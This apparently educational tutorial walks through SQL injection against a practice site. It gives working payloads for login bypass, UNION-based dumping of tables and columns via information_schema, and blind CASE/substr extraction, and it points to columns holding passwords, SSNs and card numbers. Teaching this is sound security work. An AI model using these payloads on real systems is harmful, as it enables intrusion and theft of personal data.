Hacking

Dumping a complete database using SQL injection [updated 2021]

What is SQL injection?

SQL Injection is a web-based attack used by hackers to steal sensitive information from organizations through web applications. It is one of the most common application layer attacks used today. This attack takes advantage of improper coding of web applications, which allows hackers to exploit the vulnerability by injecting SQL commands into the prior web application.

The underlying fact that allows for SQL injection is that the fields available for user input in the web application allow SQL statements to pass through and interact with or query the database directly.

For example, let’s consider a web application that implements a form-based login mechanism to store the user credentials and performs a simple SQL query to validate each login attempt.

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

Download Now

Here is a typical example:

select * from users where username='admin' and password='admin123′;

If the attacker knows the username of the application administrator is admin, he can log in as admin without supplying any password.

admin'–

The query in the back-end looks like:

Select * from users where username='admin'–' and password='xxx';

Note the comment sequence (–) causes the followed query to be ignored, so query executed is equivalent to:

Select * from users where username='admin';

So password check is bypassed.

Different types of SQL injections

There are three different kinds of SQL Injections possible on web applications. They are:

• In-band
• Out-band
• Inferior

In-band

This is also called error-based or union-based SQL injection or first order Injection. The application is said to be vulnerable to in-band when the communication between the attacker and the application happens through a single channel, i.e. the attacker uses the same channel to enter the malicious string and to retrieve the data from the database. This is a straightforward technique. The application directly displays the retrieved data on the web pages.

Confirming the vulnerability

Consider an example:

http://192.168.2.3/

The above URL is an In-band SQLI vulnerable practice site. We can get these practice sites from Google.

By accessing the URL, the browser displays the home page as shown in Figure 1:

Figure 1

Now let’s try to confirm the vulnerability by simply adding a single quote at the end of the URL:

http://192.168.2.3/ '

The above URL shows an error on the web page saying “Error in your SQL Syntax”. This is because of an extra single quote (‘) that we have entered through the URL into the query in the background. So by seeing the error, we can understand that the URL is vulnerable to in-band SQLI. Figure 2 shows you the error occurred due to concatenating the special character (‘).

Figure 2

If single quote (‘) is blocked, then we can try using “or 1=1 –” or “and 1=1” at the end of the URL:

http://192.168.2.3/news-and-events.php?id=22 or 1=1 —

Or:

http://192.168.2.3/news-and-events.php?id=22 and 1=1 —

The above URL shows the same page that has been displayed while accessing the URL: http://192.168.2.3/news-and-events.php?id=22. This is because the condition that we have entered at the end of the URL is always true.

Now try to access by entering the string “or 1=0–“or “and 1=0–“. So the URL looks like: http://192.168.2.3/news-and-events.php?id=22 or 1=0– or http://192.168.2.3/news-and-events.php?id=22 and 1=0–.

Now we will not be able to access the page, because the condition “1=0” is always false. Figure 3 shows the page when accessed with the false condition.

Figure 2

Then we can confirm that the URL is vulnerable to SQLI.

The string listed in the below table can be used to confirm SQL Injection:

You can try all the combinations for string “or a=a” that we have tried for “or 1=1″… Like #,–, /* and so on.

Extracting information

Moving further, we can extract or dump the complete database by using “UNION” and “SELECT” commands.

Finding the DBMS

We can find out DBMS type (MS-SQL, MySQL, ORACLE) by using the unique functions of the appropriate database. For example, to find out the database user, all the above databases have different syntaxes.

• MS-SQL: user_name()
• MySQL: user ()
• ORACLE: select user from dual;

So let’s try to find the DBMS of our SQLI vulnerable site. As a first trial, I am entering “user_name()” at the place where we had “2”.

http://192.168.2.3/news-and-events.php?id=-22 union select 1,user_name(),3,4,5,6,7

The above URL gives an error saying “Function user_name doesn’t exist”. Which means the DBMS isn’t MS-SQL.

Figure 4

Figure 4 shows that the DBMS isn’t MS-SQL

Now let’s try with “user ()”:

http://192.168.2.3/news-and-events.php?id=-22 union select 1,user(),3,4,5,6,7

The above URL displays the user name of the DBMS. So we confirm that the DBMS is MySQL.

Figure 5

Figure 5 shows the database user name, which proves that the DBMS is MySQL.

So we can use all the MySQL functions in the place of 2,3,5,7 and dump the database on the web page.

Finding-number-of-columns

Let us try to find out the number of columns in the table using UNION. The URL looks like:

http://192.168.2.3/news-and-events.php?id=22 union select NULL

An error displays in the page saying, “Select statement having different number of columns”. Now we understand that there are more than one column in the table.

Figure 6

Figure 6 shows the error message occurred by accessing the website using the above URL. (Using select NULL).

So try adding one more NULL:

http://192.168.2.3/news-and-events.php?id=22 union select NULL, NULL

If we are still receiving the same error, then we keep on adding the NULL to the query and try to find out the number of columns in the table.

http://192.168.2.3/news-and-events.php?id=22 union select NULL, NULL, NULL, NULL, NULL, NULL, NULL.

The above string gives you the same page as the initial URL, as the number of columns in the table is seven.

Figure 7

Figure 7 shows the page when accessed with the above URL. (Using seven NULLs.)

We can also use “ORDER BY” for finding the number of columns in the table.

http://192.168.2.3/news-and-events.php?id=22 order by 7–

So we can understand that there are seven columns in the table.

Now here’s the trick. Where will we be able to see the extracted data from the database?

Just add a negative sign before the ID value. Then the data appears on the web page straight away.

http://192.168.2.3/news-and-events.php?id=-22 union select 1,2,3,4,5,6,7

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

(Note: Negative sign (-) before 22.)

Then the application displays some of the numbers on the web page. The above URL displays 2,3,5,7 on the web page.

Figure 8

Figure 8 shows the numbers displayed on the web page.

Finding the version and getting the databases

http://192.168.2.3/news-and-events.php?id=-22 union select 1,@@version,database(),4,5,6,7

Figure 9

Figure 9 display the database version “5.0” and the database “nilakantatrust”.

Extracting tables from the database

Now let’s try extracting all the tables from the database “nilakantatrust”.

http://192.168.2.3/news-and-events.php?id=-22 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()—

Figure 10

Figure 10 shows all the tables dumped from the database “nilakantatrust”.

Information_schema is the table which contains meta-data, nothing but information about all the tables and columns of the database.

Extracting columns from the tables

http://192.168.2.3/news-and-events.php?id=-22 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database()–

Figure 11

Figure 11 displays all the columns of the tables in the database “nilakantatrust”. We can look at all the columns and then dump the interesting columns like passwords, SSN, credit card numbers and so on.

Out band

This kind of an attack uses two different channels for communication between attacker and the application. Modern DBMS has very powerful applications, and their features go behind simply returning the data to the users. They can be instructed to send an email and they can also interact with the file system. 

All of these functionalities are very helpful for an attacker. The attacker establishes a direct connection to the database through one channel to insert the data or the malicious string into the database. DBMS responds through a new channel, like email, or executing the commands using xp_cmdshell and other means.

Inferred

This is also known as blind SQL injection. Here, the server doesn’t respond with any syntax error or other means of notification. This is very similar to normal SQL injection, but when attacked, the server doesn’t send any data to the attacker. The attacker needs to retrieve the data by asking true or false questions through SQL commands.

The attacker needs to execute his commands by observing the response of the application. This makes exploiting a SQL Injection attack more difficult but not impossible.

Now let’s have some practice.

http://192.168.2.3/news-and-events.php?id=22 and 1=1 —

The above URL gives the same data as the original site.

http://192.168.2.3/news-and-events.php?id=22 and 1=0 —

The above URL shows an error on the web page, as I explained to you previously (in “in-band” type).

Finding the DBMS

To find out the DBMS used by the application, we need to make use of different predefined functions available for different databases.

For example:

To find out the user name of the database, the following syntax is used by different DBMS:

• MS-SQL: user_name()
• MySQL: user()
• Oracle: select user from dual

You can know the difference from the cheat-sheet available at Pentest Monkey.

Let us find out the DBMS using the above functions.

Accessing the URL:

http://192.168.2.3/news-and-events.php?id=21 

This gives you a white page. The white page is different from the URL: http://192.168.2.3/news-and-events.php?id=22 as we have seen the page previously. By observing this difference, we can extract the DBMS type of the application.

Let’s check whether the application is using MS-SQL:

http://192.168.2.3/news-and-events.php?id=21%2b(select%20case%20when%20(select%20user_name())%20then%200%20else%201%20end%20)–

In the above URL, I am trying to add 1 to the ID “21”, based on the condition. When we access the URL with ID=21 we get the page. When we access the URL with ID=22, we get the home page shown in Figure 1.

In the URL, %2b indicates ‘+’ and %20 indicates ‘ ‘ (space). It is called URL encoding. When a particular symbol is filtered, we can pass those symbols by encoding using different encoding techniques available.

The condition in the query is framed using a “case” statement along with “user_name” (a pre-defined function in MS-SQL to return the DB user name). If the function user_name() is found, then the condition returns ‘1’, which makes the ID=22. If it returns ‘0’, the ID remains ’21’.

Figure 12

Figure 12 shows a blank page, which confirms that the DBMS isn’t MS-SQL. So now, let’s check for MySQL.

http://192.168.2.3/news-and-events.php?id=21%2b(select%20case%20when%20(select%20user())%20then%200%20else%201%20end)–

The above URL shows the page with ID=22, which confirms that the DBMS is MySQL.

Finding the version

To find the database version, we can use the substring function in MySQL. Observe the below URL:

http://192.168.2.3/news-and-events.php?id=22%20and%20substr(@@version,1,1)=5–

If the database version is 5, then the substring function returns 5 (as we are trying to extract only one character), where we are comparing the resultant value with 5. Then, if we are able to see the home page, we can confirm that the database is something like version 5.x.x.

If the URL doesn’t pop up the home page, then we can try changing the comparing value to 4, 3, and so on.

To find the exact version of the database we need to compare the second character of the version. For example:

substr(@@version,2,1)=0

substr(@@version,3,1)=1

So, by observing the responses of the application, we can extract a complete version of the database.

Finding the user name of the database

We can find out the user name of the database by using both the “case” statement and “substring” function.

http://192.168.2.3/news-and-events.php?id=22%2b%20(select%20case%20when%20(substr(user(),1,1)=’a’)%20then%200%20else%201%20end)–

Based on the responses of the application, keep on changing the character in the function substr().

Once we get the first letter of the user name, then move on to find out the second letter.

For example:

substr(user(),2,1)=’r’

substr(user(),3,1)=’b’ …

In this fashion, to find out a single character in the user name, we have to send more than 200 requests with all possible ASCII characters to the server. This technique can be optimized: we can extract a single character from the database within eight requests.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

Conclusion

SQL injection is a technique used to dump a complete database of the application by including a few portions of SQL statements in the entry field or the URL.

Sources

SQL Injection, OWASP